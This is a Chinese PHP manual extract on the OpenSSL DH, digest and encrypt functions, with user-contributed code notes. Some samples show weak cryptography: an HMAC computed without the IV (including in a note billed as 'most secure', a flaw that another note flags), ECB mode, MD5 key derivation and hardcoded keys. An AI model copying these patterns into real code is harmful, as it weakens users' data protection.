        67:e5:e5:fa:e0:7b:0f:96:2c:dc:96:44:5f:50:02:
        9e:8d:c2:6c:04:68:b0:d1:1d:75:66:fc:63:f5:e3:
        42:30:b8:96:c1:45:cc:08:60:b4:21:3b:dd:ee:66:
        88:db:77:d9:1e:11:89:d4:5c:f2:7a:f2:f1:fe:1c:
        77:9d:6f:13:b8:b2:56:00:ef:cb:3b:60:79:74:02:
        98:f5:f9:8e:3e:b5:62:08:de:ca:8c:c3:40:4a:80:
        79:d5:43:06:17:a8:19:56:af:cc:95:5e:e2:32:2d:
        d2:14:7b:76:5a:9a:f1:3c:76:76:35:cc:7b:c1:a5:
        f4:39:e5:b6:ca:71:3f:7c:3f:97:e5:ab:86:c1:cd:
        0e:e6:ee:04:c9:e6:2d:80:7e:59:c0:49:eb:b6:64:
        4f:a8:f9:bb:a3:87:b3:3d:76:01:9e:2b:16:94:a4:
        37:30:fb:35:e2:63:be:23:90:b9:ef:3f:46:46:04:
        94:8f:60:79:7a:51:55:d6:1a:1d:f5:d9:7f:4a:3e:
        aa:ac:b0:d0:82:cc:c2:e0:94:e0:54:c1:17:83:0b:
        74:08:4d:5a:79:ae:ff:7f:1c:04:ab:23:39:4a:ae:
        87:83:55:43:ab:7a:7c:04:9d:20:80:bb:af:5f:16:
        a3:e3:20:b9:21:47:8c:f8:7f:a8:60:80:9e:61:77:
        36
 [...abbreviated...]

使用此公钥作为 openssl_dh_compute_key() 的参数以计算共享密钥。

<?php
$remote_public_key = '67e5e5fae07b0f962cdc96445f50029e8dc26c0468b0d11d7566fc63f5e34230b896c145cc0860b4213bddee6688db77d91e1189d45cf27af2f1fe1c779d6f13b8b25600efcb3b6079740298f5f98e3eb56208deca8cc3404a8079d5430617a81956afcc955ee2322dd2147b765a9af13c767635cc7bc1a5f439e5b6ca713f7c3f97e5ab86c1cd0ee6ee04c9e62d807e59c049ebb6644fa8f9bba387b33d76019e2b1694a43730fb35e263be2390b9ef3f464604948f60797a5155d61a1df5d97f4a3eaaacb0d082ccc2e094e054c117830b74084d5a79aeff7f1c04ab23394aae87835543ab7a7c049d2080bbaf5f16a3e320b921478cf87fa860809e617736';

$local_priv_key = openssl_pkey_get_private('file://privatekey.pem');

$shared_secret = openssl_dh_compute_key(hex2bin($remote_public_key), $local_priv_key);
echo bin2hex($shared_secret)."\n";
?>

Example #2 在 php 中生成 DH 公/私钥对

首先，生成 DH 质数

openssl dhparam -out dhparam.pem 2048
openssl dh -in dhparam.pem -noout  -text

以上示例的输出类似于：

    PKCS#3 DH Parameters: (2048 bit)
        prime:
            00:a3:25:1e:73:3f:44:b9:2b:ee:f4:9d:9f:37:6a:
            4b:fd:1d:bd:f4:af:da:c8:10:77:59:41:c6:5f:73:
            d2:88:29:39:cd:1c:5f:c3:9f:0f:22:d2:9c:20:c1:
            e4:c0:18:03:b8:b6:d8:da:ad:3b:39:a6:da:8e:fe:
            12:30:e9:03:5d:22:ba:ef:18:d2:7b:69:f9:5b:cb:
            78:c6:0c:8c:6b:f2:49:92:c2:49:e0:45:77:72:b3:
            55:36:30:f2:40:17:89:18:50:03:fa:2d:54:7a:7f:
            34:4c:73:32:b6:88:14:51:14:be:80:57:95:e6:a3:
            f6:51:ff:17:47:4f:15:d6:0e:6c:47:53:72:2c:2a:
            4c:21:cb:7d:f3:49:97:c9:47:5e:40:33:7b:99:52:
            7e:7a:f3:52:27:80:de:1b:26:6b:40:bb:14:11:0b:
            fb:e6:d8:2f:cf:a0:06:2f:96:b9:1c:0b:b4:cb:d3:
            a6:62:9c:48:67:f6:81:f2:c6:ff:45:03:0a:9d:67:
            9d:ce:27:d9:6b:48:5d:ca:fb:c2:5d:84:9b:8b:cb:
            40:c7:a4:0c:8a:6e:f4:ab:ba:b6:10:c3:b8:25:4d:
            cf:60:96:f4:db:e8:00:1c:58:47:7a:fb:51:86:d1:
            22:d7:4e:94:31:7a:d5:da:3d:53:de:da:bb:64:8d:
            62:6b
        generator: 2 (0x2)

质数和生成器值作为 p 和 g 传递给 openssl_pkey_new()

<?php
$configargs = array();
$configargs['p'] = hex2bin('00a3251e733f44b92beef49d9f376a4bfd1dbdf4afdac810775941c65f73d2882939cd1c5fc39f0f22d29c20c1e4c01803b8b6d8daad3b39a6da8efe1230e9035d22baef18d27b69f95bcb78c60c8c6bf24992c249e0457772b3553630f2401789185003fa2d547a7f344c7332b688145114be805795e6a3f651ff17474f15d60e6c4753722c2a4c21cb7df34997c9475e40337b99527e7af3522780de1b266b40bb14110bfbe6d82fcfa0062f96b91c0bb4cbd3a6629c4867f681f2c6ff45030a9d679dce27d96b485dcafbc25d849b8bcb40c7a40c8a6ef4abbab610c3b8254dcf6096f4dbe8001c58477afb5186d122d74e94317ad5da3d53dedabb648d626b');
$configargs['g'] = hex2bin('02');
$private_key = openssl_pkey_new(array('dh' => $configargs));
openssl_pkey_export_to_file($private_key,'privatekey.pem',$passphrase='y0urp@s5phr@se');

$details = openssl_pkey_get_details($private_key);
$local_pub_key = $details['dh']['pub_key'];
echo bin2hex($local_pub_key)."\n";//you can send your public key to the remote party

$details = openssl_pkey_get_details(openssl_pkey_get_public("file://remotepublickey.pem"));
$remote_public_key = $details['dh']['pub_key'];
$shared_secret = openssl_dh_compute_key($remote_public_key, $private_key);
echo bin2hex($shared_secret)."\n";
?>

参见

  • openssl_pkey_new() - 生成一个新的私钥
  • openssl_pkey_get_details() - 返回包含密钥详情的数组
  • openssl_pkey_get_private() - 获取私钥
  • openssl_pkey_get_public() - 从证书中解析公钥，以供使用

User Contributed Notes

k.s.swaminathan at live dot com 30-Nov-2021 12:53
// Purpose: Provide a working example of Diffie-Hellman, entirely in php.

// This function generates a configuration for Diffie-Hellman keypair
// We start with an empty config and have openssl_pkey_new create
// a prime and a generator. This is a time consuming step.

function get_DH_params ($keylength=2048, $digest_alg="sha512")
{
    $pkey = openssl_pkey_new(["digest_alg" => $digest_alg,
                        "private_key_bits" => $keylength,
                        "private_key_type" => OPENSSL_KEYTYPE_DH]);
    $details = openssl_pkey_get_details($pkey);
    return [
            "digest_alg" => $digest_alg,
            "private_key_bits" => $keylength,
            "dh" => array('p' => $details['dh']['p'], 'g' => $details['dh']['g']),
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];
}

// Now Alice and Bob can create their respective keypairs
function get_DH_keyPair ($DH_params)
{
    $pkey = openssl_pkey_new($DH_params);
    $privkey = openssl_pkey_get_private($pkey);
    $pubkey = openssl_pkey_get_details($pkey)['dh']['pub_key'];
    return (object) compact('pubkey','privkey');
}

// Now Alice and Bob can create a mutual secret
function get_DH_mutualsecret($peers_public, $my_private)
{
    return bin2hex(openssl_dh_compute_key($peers_public, $my_private));
}

// Usage
>>> $dh_params = get_DH_params();
=> [
     "digest_alg" => "sha512",
     "private_key_bits" => 2048,
     "dh" => [
       "p" => b"ó??'#e\x18\x04?_?\t?yáZàx\x15\x14\x11?┬l=ü┤H\0",
       "g" => "\x02",
     ],
     "private_key_type" => 2,
   ]

// Alice & Bob generate their keys from the same dh_params.
// Binary values truncated.

>>> $alice = get_DH_keypair($dh_params);
=> {#3773
     +"pubkey": b"""E?ü?Se???╚ùà5üLü$┘▄±ü6]",
     +"privkey": OpenSSLAsymmetricKey {#3771},
   }

>>> $bob = get_DH_keypair($dh_params);
=> {#3774
     +"pubkey": b"'ua￥ao\ê\x11║OM©\vó╣?üW?ít3e÷:\t9?\rB┌\x13",
     +"privkey": OpenSSLAsymmetricKey {#3765},
   }

>>> $alice_secret = get_DH_mutualsecret($bob->pubkey, $alice->privkey);
=> "5fbf9df2f13da103f106.  ....."

>>> $bob_secret = get_DH_mutualsecret($alice->pubkey, $bob->privkey);
=> "5fbf9df2f13da103f106.  ....."

>>> $bob_secret == $alice_secret;
=> true

// Now Alice and Bob have a shared secret which they can use as a symmetric key. The key will be 2048 bits long (same as the DH key length parameter). They can hash it to get a shorter key if they want.

// A third person, Charlie, can also create a key pair like Alice and Bob.
// And Charlie and Alice can create their own Alice and Bob did.
// And Charlie and Bob can create their own (separate) secret.
//
vangelier at hotmail dot com 23-Jan-2021 07:35
After some challenges I decided to write a C++ and PHP code samples.

As it can be very tricky to get a grib on how the Diffie and Hellman algoritm work. The code samples are cross compatible.

Gist with PHP code and C++ code:

https://gist.github.com/digitalhuman/2a2b85d61672e4bf83596d41351723ba

Enjoy!
vangelier at hotmail dot com 22-Dec-2020 08:08
A working example. After some study and reading I finally get how this method is working.

You need to follow the below 4 steps;

1. You create a public key which is known to 1:n parties.
2. Each party creates their own keypair.
2a. Each party shared their public key with the members.
3. Each user can re-create the shared secret by using his Private Key and the Public Key of the other parties.
4. Compare the secrets as a handshake

/* 1. Create the first, global known public key. */

/**
     * Get DH public/private keys
     * @return array
     */
    public static function get_keypair()
    {
        $keys = [];

        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        // Create the private and public key
        $res = openssl_pkey_new($config);

        $pubKey = openssl_pkey_get_details($res);
        $keys["public"] = $pubKey["key"];

        openssl_pkey_export($res, $privKey);

        $keys["private"] = $privKey;

        return $keys;
    }

Now you share the Public Key with every member of the party.

/* 2. Each user creates a new Key Pair with the P,G from the global public key info */

$key = openssl_get_publickey(base64_decode($publicKey));
$info = openssl_pkey_get_details($key);
$params = $info["dh"];

Now you have the P,G from the public key. Use it;

/**
     * Create keypair from Prime and Generator for KeyExchange
     * @param $prime
     * @param $generator
     */
    public static function create_keypair_from_pg($prime, $generator)
    {
        $config = [
            "digest_alg" => "sha512",
            "private_key_bits" => 2048,
            "dh" => [
                "p" => $prime,
                "g" => $generator
            ],
            "private_key_type" => OPENSSL_KEYTYPE_DH,
        ];

        return openssl_pkey_new($config);
    }

/* 3. Create a shared secret with your Private Key, and User 1:n's Public Key */

$privateKey = openssl_get_publickey(base64_decode($privateKeyData));

$secret1 = openssl_dh_compute_key($user1PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

$secret2 = openssl_dh_compute_key($user2PublicKey, $privateKey);
        if($secret !== false) {
            return bin2hex($secret);
        }else{
            print_r(openssl_error_string());
        }

/* 4. Compare the secrets as a handshake method */

if(strcmp($secret1, $secret2) === 0) {
            return true;
        }

        return false;

Good luck, enjoy!. Keep me posted about improvements and updates.  vangelier AT hotmail DOT com
vangelier at hotmail dot com 21-Dec-2020 06:02
Is it possible for someone to post a working example?  I have written many test and examples, and I just can't seem to get 2 secrets that are alike with this method.

I am following this; https://sandilands.info/sgordon/diffie-hellman-secret-key-exchange-with-openssl

With the console, it works great. With openssl_dh_compute_key it does not work.


计算摘要

  • ? openssl_dh_compute_key
  • openssl_encrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 计算摘要

openssl_digest

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_digest — 计算摘要

说明

openssl_digest(string $data, string $digest_algo, bool $binary = false): string|false

使用给定的方法计算给定数据的摘要哈希值，并返回一个原始的或16进制编码的字符串。

参数

data

给定的数据。

digest_algo

要使用的摘要方法，比如 "sha256", 查看 openssl_get_md_methods() 函数获取更多可用的摘要方法。

binary

为 true 时将会返回原始输出数据，否则返回值将会是16进制。

返回值

成功，返回摘要哈希值， 或者在失败时返回 false.

错误／异常

如果通过 digest_algo 参数传递的是未知的摘要算法，将会抛出 E_WARNING 级的错误。

参见

  • openssl_get_md_methods() - 获取可用的摘要算法

User Contributed Notes

Anonymous 17-Jun-2014 06:07
Hmm.. really @mwgamera? openssl_get_cipher_methods() returns cipher methods but openssl_digest() expects a digest method in the second parameter. However even the docu on this page links to the openssl_get_cipher_methods() method in the "See also" section (however this can be a coincidence). Shouldn't it be a digest method from openssl_get_md_methods() instead openssl_get_cipher_methods()?

I'm not very experienced in cryptography but I don't really understand why you would pass a cipher method to a hash function instead of a digest method.
mwgamera at gmail dot com 12-Aug-2013 11:42
The second argument should be one of the values returned by openssl_get_md_methods() rather than hash_algos(). 'Hash' and 'OpenSSL' are independent extensions and support different selection of digest algorithms. Notably, Hash supports some non-cryptographic hashes like adler or crc.
skyblackhawk at yahoo dot it 10-Jun-2011 08:34
Example:
// $fileBuffer is buffer of file in open mode or a generic stream...
$fingerPrint = openssl_digest ($fileBuffer , "sha512");

$method parameter is one of hash_algos() array;

<? echo"<PRE>";
      var_dump(hash_algos());
      echo "</PRE>"
?>

Output:

array(42) {
  [0]=>
  string(3) "md2"
  [1]=>
  string(3) "md4"
  [2]=>
  string(3) "md5"
  [3]=>
  string(4) "sha1"
  [4]=>
  string(6) "sha224"
  [5]=>
  string(6) "sha256"
  [6]=>
  string(6) "sha384"
  [7]=>
  string(6) "sha512"
  [8]=>
  string(9) "ripemd128"
  [9]=>
  string(9) "ripemd160"
  [10]=>
  string(9) "ripemd256"
  [11]=>
  string(9) "ripemd320"
  [12]=>
  string(9) "whirlpool"
  [13]=>
  string(10) "tiger128,3"
  [14]=>
  string(10) "tiger160,3"
  [15]=>
  string(10) "tiger192,3"
  [16]=>
  string(10) "tiger128,4"
  [17]=>
  string(10) "tiger160,4"
  [18]=>
  string(10) "tiger192,4"
  [19]=>
  string(6) "snefru"
  [20]=>
  string(9) "snefru256"
  [21]=>
  string(4) "gost"
  [22]=>
  string(7) "adler32"
  [23]=>
  string(5) "crc32"
  [24]=>
  string(6) "crc32b"
  [25]=>
  string(7) "salsa10"
  [26]=>
  string(7) "salsa20"
  [27]=>
  string(10) "haval128,3"
  [28]=>
  string(10) "haval160,3"
  [29]=>
  string(10) "haval192,3"
  [30]=>
  string(10) "haval224,3"
  [31]=>
  string(10) "haval256,3"
  [32]=>
  string(10) "haval128,4"
  [33]=>
  string(10) "haval160,4"
  [34]=>
  string(10) "haval192,4"
  [35]=>
  string(10) "haval224,4"
  [36]=>
  string(10) "haval256,4"
  [37]=>
  string(10) "haval128,5"
  [38]=>
  string(10) "haval160,5"
  [39]=>
  string(10) "haval192,5"
  [40]=>
  string(10) "haval224,5"
  [41]=>
  string(10) "haval256,5"
}


加密数据

  • ? openssl_digest
  • openssl_error_string ?
  • PHP Manual
  • OpenSSL 函数
  • 加密数据

openssl_encrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_encrypt — 加密数据

说明

openssl_encrypt(
string $data,
string $cipher_algo,
string $passphrase,
int $options = 0,
string $iv = "",
string &$tag = null,
string $aad = "",
int $tag_length = 16
): string|false

以指定的方式和 key 加密数据，返回原始或 base64 编码后的字符串。

参数

data

待加密的明文信息数据。

cipher_algo

密码学方式。openssl_get_cipher_methods() 可获取有效密码方式列表。

passphrase

口令（passphrase）。 若 passphrase 比预期长度短，将静默用 NUL 填充； 若比预期长度更长，将静默截断。

options

options 是以下标记的按位或： OPENSSL_RAW_DATA 、 OPENSSL_ZERO_PADDING。

iv

非 NULL 的初始化向量。

tag

使用 AEAD 密码模式（GCM 或 CCM）时传引用的验证标签。

aad

附加的验证数据。

tag_length

验证 tag 的长度。GCM 模式时，它的范围是 4 到 16。

返回值

成功时返回加密后的字符串， 或者在失败时返回 false。

错误／异常

cipher_algo 传入未知算法时，产生 E_WARNING 级别的错误。

iv 传入空字符串时产生 E_WARNING 级别的错误。

更新日志

版本 | 说明
7.1.0 | 增加了 tag、aad、tag_length 参数

示例

Example #1 PHP 7.1 之前的 GCM 模式的 AES 认证加密示例

<?php
//$key should have been previously generated in a cryptographically safe way, like openssl_random_pseudo_bytes
$plaintext = "message to be encrypted";
$cipher = "aes-128-gcm";
if (in_array($cipher, openssl_get_cipher_methods()))
{
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, $options=0, $iv, $tag);
//store $cipher, $iv, and $tag for decryption later
$original_plaintext = openssl_decrypt($ciphertext, $cipher, $key, $options=0, $iv, $tag);
echo $original_plaintext."\n";
}
?>

Example #2 PHP 5.6+ 的 AES 认证加密例子

<?php
//$key previously generated safely, ie: openssl_random_pseudo_bytes
$plaintext = "message to be encrypted";
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = openssl_random_pseudo_bytes($ivlen);
$ciphertext_raw = openssl_encrypt($plaintext, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$hmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
$ciphertext = base64_encode( $iv.$hmac.$ciphertext_raw );

//decrypt later....
$c = base64_decode($ciphertext);
$ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
$iv = substr($c, 0, $ivlen);
$hmac = substr($c, $ivlen, $sha2len=32);
$ciphertext_raw = substr($c, $ivlen+$sha2len);
$original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
$calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
if (hash_equals($hmac, $calcmac))// timing attack safe comparison
{
echo $original_plaintext."\n";
}
?>

参见

  • openssl_decrypt() - 解密数据

User Contributed Notes

ralf at exphpert dot de 30-Mar-2022 01:37
I'd like to point out that the command description doesn't very well point out, how the command really works for the less experienced user.

One important point is, that you do NOT pass a tag to openssl_encrypt. Any value in the tag variable will be overwritten by openssl_encrypt. It by itself will create a tag which you will need to store.

To be able to decrypt the encrypted secret with openssl_decrypt, you need to provide (at least) the secret, the cipher, the initialization vector, and the tag.
desmatic at gmail dot com 30-Oct-2021 12:39
Upgraded php and needed something to replace insecure legacy mcrypt libs, but still supported classic user, password interface.

<?php
function encrypt($plaintext, $key, $cipher = "aes-256-gcm") {
    if (!in_array($cipher, openssl_get_cipher_methods())) {
        return false;
    }
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));
    $tag = null;
    $ciphertext = openssl_encrypt(
        gzcompress($plaintext),
        $cipher,
        base64_decode($key),
        $options=0,
        $iv,
        $tag,
    );
    return json_encode(
        array(
            "ciphertext" => base64_encode($ciphertext),
            "cipher" => $cipher,
            "iv" => base64_encode($iv),
            "tag" => base64_encode($tag),
        )
    );
}

function decrypt($cipherjson, $key) {
    try {
        $json = json_decode($cipherjson, true, 2,  JSON_THROW_ON_ERROR);
    } catch (Exception $e) {
        return false;
    }
    return gzuncompress(
        openssl_decrypt(
            base64_decode($json['ciphertext']),
            $json['cipher'],
            base64_decode($key),
            $options=0,
            base64_decode($json['iv']),
            base64_decode($json['tag'])
        )
    );
}

$secret = "MySecRet@123";
$cipherjson = encrypt("Hello world!\n", $secret);
echo decrypt($cipherjson, $secret);

?>
TheNorthMemory 31-Jul-2021 07:52
I saw that a doc bug(#80236) were there mentioned that $tag usage. Here is an examples, Hopes those may help someone.

<?php

/**
* Encrypts given data with given key, iv and aad, returns a base64 encoded string.
*
* @param string $plaintext - Text to encode.
* @param string $key - The secret key, 32 bytes string.
* @param string $iv - The initialization vector, 16 bytes string.
* @param string $aad - The additional authenticated data, maybe empty string.
*
* @return string - The base64-encoded ciphertext.
*/
function encrypt(string $plaintext, string $key, string $iv = '', string $aad = ''): string
{
    $ciphertext = openssl_encrypt($plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag, $aad, 16);

    if (false === $ciphertext) {
        throw new UnexpectedValueException('Encrypting the input $plaintext failed, please checking your $key and $iv whether or nor correct.');
    }

    return base64_encode($ciphertext . $tag);
}

/**
* Takes a base64 encoded string and decrypts it using a given key, iv and aad.
*
* @param string $ciphertext - The base64-encoded ciphertext.
* @param string $key - The secret key, 32 bytes string.
* @param string $iv - The initialization vector, 16 bytes string.
* @param string $aad - The additional authenticated data, maybe empty string.
*
* @return string - The utf-8 plaintext.
*/
function decrypt(string $ciphertext, string $key, string $iv = '', string $aad = ''): string
{
    $ciphertext = base64_decode($ciphertext);
    $authTag = substr($ciphertext, -16);
    $tagLength = strlen($authTag);

    /* Manually checking the length of the tag, because the `openssl_decrypt` was mentioned there, it's the caller's responsibility. */
    if ($tagLength > 16 || ($tagLength < 12 && $tagLength !== 8 && $tagLength !== 4)) {
        throw new RuntimeException('The inputs `$ciphertext` incomplete, the bytes length must be one of 16, 15, 14, 13, 12, 8 or 4.');
    }

    $plaintext = openssl_decrypt(substr($ciphertext, 0, -16), 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $authTag, $aad);

    if (false === $plaintext) {
        throw new UnexpectedValueException('Decrypting the input $ciphertext failed, please checking your $key and $iv whether or nor correct.');
    }

    return $plaintext;
}

// usage samples
$aesKey = random_bytes(32);
$aesIv = random_bytes(16);
$ciphertext = encrypt('thing', $aesKey, $aesIv);
$plaintext = decrypt($ciphertext, $aesKey, $aesIv);

var_dump($ciphertext);
var_dump($plaintext);
Shin 22-Jul-2021 10:02
Concise description about "options" parameter!

http://phpcoderweb.com/manual/function-openssl-encrypt_5698.html

> OPENSSL_ZERO_PADDING has a direct impact on the OpenSSL context.  EVP_CIPHER_CTX_set_padding() enables or disables padding (enabled by default).  So, OPENSSL_ZERO_PADDING disables padding for the context, which means that you will have to manually apply your own padding out to the block size.  Without using OPENSSL_ZERO_PADDING, you will automatically get PKCS#7 padding.

> OPENSSL_RAW_DATA does not affect the OpenSSL context but has an impact on the format of the data returned to the caller.  When OPENSSL_RAW_DATA is specified, the returned data is returned as-is.  When it is not specified, Base64 encoded data is returned to the caller.

Where
- OPENSSL_RAW_DATA=1
- OPENSSL_ZERO_PADDING=2

Hence
options = 0
-> PKCS#7 padding, Base64 Encode
options = 1
-> PKCS#7 padding, No Base64 Encode (RAW DATA)
options = 2
-> No padding, Base64 Encode
options = 3  ( 1 OR 2 )
-> No padding, No Base64 Encode (RAW DATA)
handsomedmm at 126 dot com 29-Sep-2019 09:15
if encrypt data by openssl enc command with pass and salt, it can aslo decrypt by openssl_decrypt.

eg.

encrypt command:

# echo -n test123 | openssl enc -aes-128-cbc -pass pass:"pass123" -a -md md5

decrypt command:
# echo -n U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ= | base64 -d| openssl  enc -aes-128-cbc -pass pass:"pass123" -md md5 -d -p
salt=77E3D3F82E978FE5
key=9CA70521F78B9909BF73BAE9233D6258
iv =04BCCB509EC9E6F5AF7E822CA58EA557
test123

use php code
<?php
        // encode data
        $encodeData = "U2FsdGVkX19349P4LpeP5Sbi4lpCx6lLwFQ2t9xs2AQ=";

        // base64 decode
        $data = base64_decode($encodeData);
        $data = substr($data, 16); // if salted , remove Salted__ prefix

        // salt and pass config
        $salt   = hex2bin("77E3D3F82E978FE5");
        $pass   = "pass123";
        $method = "AES-128-CBC";

        // generate iv and key
        $hash1 = md5($pass . $salt);
        $hash2 = md5(hex2bin($hash1) . $pass . $salt);
        $key   = hex2bin($hash1);
        $iv    = hex2bin($hash2);

        $decodeData = openssl_decrypt($data, $method, $key, OPENSSL_RAW_DATA, $iv);

        var_dump($decodeData);
gcleaves at gmail dot com 29-Sep-2019 07:07
Please note that at the time of writing this, there is an important and naive security vulnerability in "Example #2 AES Authenticated Encryption example for PHP 5.6+".

You MUST include the IV when calculating the HMAC. Otherwise, somebody could alter the IV during transport, thereby changing the decrypted message while maintaining HMAC integrity. An absolute disaster.

To fix the example, the HMAC should be calculated like this:

<?php
$hmac = hash_hmac('sha256', $iv.$ciphertext_raw, $key, $as_binary=true);
?>
waltzie 06-Feb-2019 09:53
There are some troubles implementing a 1:1 encryprion/decription between mcrypt and openssl using MCRYPT_RIJNDAEL_128 CBC because the AES-256 is different from RIJNDAEL-256.
The 256 in AES refers to the key size, where the 256 in RIJNDAEL refers to block size.
 AES-256 is RIJNDAEL-128 when used with a 256 bit key
(https://stackoverflow.com/questions/6770370/aes-256-encryption-in-php  ircmaxell Jun 22 '13 at 11:50)

Example

<?php

function encrypt_openssl($msg, $key, $iv) {
        $encryptedMessage = openssl_encrypt($msg, 'AES-256-CBC', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);
        return $iv . $encryptedMessage;
}

function decrypt_openssl($data, $key) {
        $iv_size = openssl_cipher_iv_length('AES-256-CBC');
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        return openssl_decrypt($data, 'AES-256-CBC', $key,OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING  , $iv);

}

function decrypt_data($data,$key) {
        $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
        $iv = substr($data, 0, $iv_size);
        $data = substr($data, $iv_size);
        $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        $decrypted = rtrim($decrypted, chr(0));
        return($decrypted);
}

function encrypt_data($data,$key,$iv) {
        $encrypted = $iv .  mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $encrypted;
}

// ZERO Padding ISO/IEC 9797-1, ISO/IEC 10118-1
function pad_zero($data) {
        $len = mcrypt_get_block_size (MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC);
        if (strlen($data) % $len) {
              $padLength =  $len - strlen($data) %  $len;
              $data .= str_repeat("\0", $padLength);
        }
        return $data;
}

$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$data = "Hello World!";
$key = hash('sha256',"secret",true);

echo "\n\n$data\n\n";

$enc = base64_encode(encrypt_data($data,$key,$iv));
echo "\nEnc: $enc";
$dec = decrypt_data(base64_decode($enc),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc),$key);
echo "\nDec: $dec2";

echo "\n\nreverse\n";

$enc2 = base64_encode(encrypt_openssl(pad_zero($data),$key,$iv));
echo "\nEnc: $enc2";
$dec = decrypt_data(base64_decode($enc2),$key);
echo "\nDec: $dec";
$dec2=decrypt_openssl(base64_decode($enc2),$key);
echo "\nDec: $dec2";
Jess Portnoy 13-Mar-2018 11:40
Note that OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING were introduced by this commit:
https://github.com/php/php-src/commit/9e7ae3b2d0e942b816e3836025456544d6288ac3

Before that, the options arg was called raw_output and was a Boolean so if you're considering this method as a replacement for mcrypt_encrypt(), this will only work with PHP 5.5 and above.

A good guide on replacing Mcrypt encryption/decryption methods with the OpenSSL parallels can be found here:
http://thefsb.tumblr.com/post/110749271235/using-opensslendecrypt-in-php-instead-of
omidbahrami1990 at gmail dot com 05-Dec-2017 11:35
This Is The Most Secure Way To Encrypt And Decrypt Your Data,
It Is Almost Impossible To Crack Your Encryption.
--------------------------------------------------------
 --- Create Two Random Keys And Save Them In Your Configuration File ---
<?php
// Create The First Key
echo base64_encode(openssl_random_pseudo_bytes(32));

// Create The Second Key
echo base64_encode(openssl_random_pseudo_bytes(64));
?>
--------------------------------------------------------
<?php
// Save The Keys In Your Configuration File
define('FIRSTKEY','Lk5Uz3slx3BrAghS1aaW5AYgWZRV0tIX5eI0yPchFz4=');
define('SECONDKEY','EZ44mFi3TlAey1b2w4Y7lVDuqO+SRxGXsa7nctnr/JmMrA2vN6EJhrvdVZbxaQs5jpSe34X3ejFK/o9+Y5c83w==');
?>
--------------------------------------------------------
<?php
function secured_encrypt($data)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($iv_length);

$first_encrypted = openssl_encrypt($data,$method,$first_key, OPENSSL_RAW_DATA ,$iv);
$second_encrypted = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

$output = base64_encode($iv.$second_encrypted.$first_encrypted);
return $output;
}
?>
--------------------------------------------------------
<?php
function secured_decrypt($input)
{
$first_key = base64_decode(FIRSTKEY);
$second_key = base64_decode(SECONDKEY);
$mix = base64_decode($input);

$method = "aes-256-cbc";
$iv_length = openssl_cipher_iv_length($method);

$iv = substr($mix,0,$iv_length);
$second_encrypted = substr($mix,$iv_length,64);
$first_encrypted = substr($mix,$iv_length+64);

$data = openssl_decrypt($first_encrypted,$method,$first_key,OPENSSL_RAW_DATA,$iv);
$second_encrypted_new = hash_hmac('sha3-512', $first_encrypted, $second_key, TRUE);

if (hash_equals($second_encrypted,$second_encrypted_new))
return $data;

return false;
}
?>
me at bobste dot in 10-Nov-2017 07:21
<?php
string openssl_encrypt (
    string $data ,
    string $method ,
    string $key,
    int $options = 0,      // optional
    string $iv = "",       // optional
    string &$tag = NULL,   // optional
    string $aad = "",      // optional
    int $tag_length = 16   // optional
)
// (a kinder, gentler function header)
?>
Jean-Luc 02-Nov-2017 09:26
Important: The key should have exactly the same length as the cipher you are using. For example, if you use AES-256 then you should provide a $key that is 32 bytes long (256 bits == 32 bytes). Any additional bytes in $key will be truncated and not used at all.
denis at bitrix dot ru 21-Aug-2017 06:43
How to migrate from mcrypt to openssl with backward compatibility.

In my case I used Blowfish in ECB mode. The task was to decrypt data with openssl_decrypt, encrypted by mcrypt_encrypt and vice versa. It was obvious for a first sight. But in fact openssl_encrypt and mcrypt_encript give different results in most cases.

Investigating the web I found out that the reason is in different padding methods. And for some reasons openssl_encrypt behave the same strange way with OPENSSL_ZERO_PADDING and OPENSSL_NO_PADDING options: it returns FALSE if encrypted string doesn't divide to the block size. To solve the problem you have to pad your string with NULs by yourself.

The second question was the key length. Both functions give the same result if the key length is between 16 and 56 bytes. And I managed to find that if your key is shorter than 16 bytes, you just have to repeat it appropriate number of times.

And finally the code follows which works the same way on openssl and mcrypt libraries.

<?php
    function encrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if ($m = strlen($data)%8)
